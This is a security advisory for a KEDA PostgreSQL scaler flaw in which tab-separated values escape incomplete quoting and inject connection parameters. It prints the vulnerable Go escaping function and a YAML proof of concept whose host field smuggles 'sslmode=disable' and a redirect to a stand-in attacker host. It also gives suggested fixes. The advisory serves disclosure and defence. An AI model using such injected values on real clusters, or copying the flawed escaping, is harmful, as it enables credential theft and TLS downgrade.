CVE-2026-53572: KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping

Summary pkg/scalers/postgresqlscaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter: go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code pkg/scalers/postgresqlscaler.go, lines 155–164 and 250–257.

Impact Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can: - Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword. - Append arbitrary libpq runtime parameters (options=, applicationname=, targetsessionattrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix - Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash. - Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding. - Validate each field against an allow-list pattern before use.

Resources - pkg/scalers/postgresqlscaler.go - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING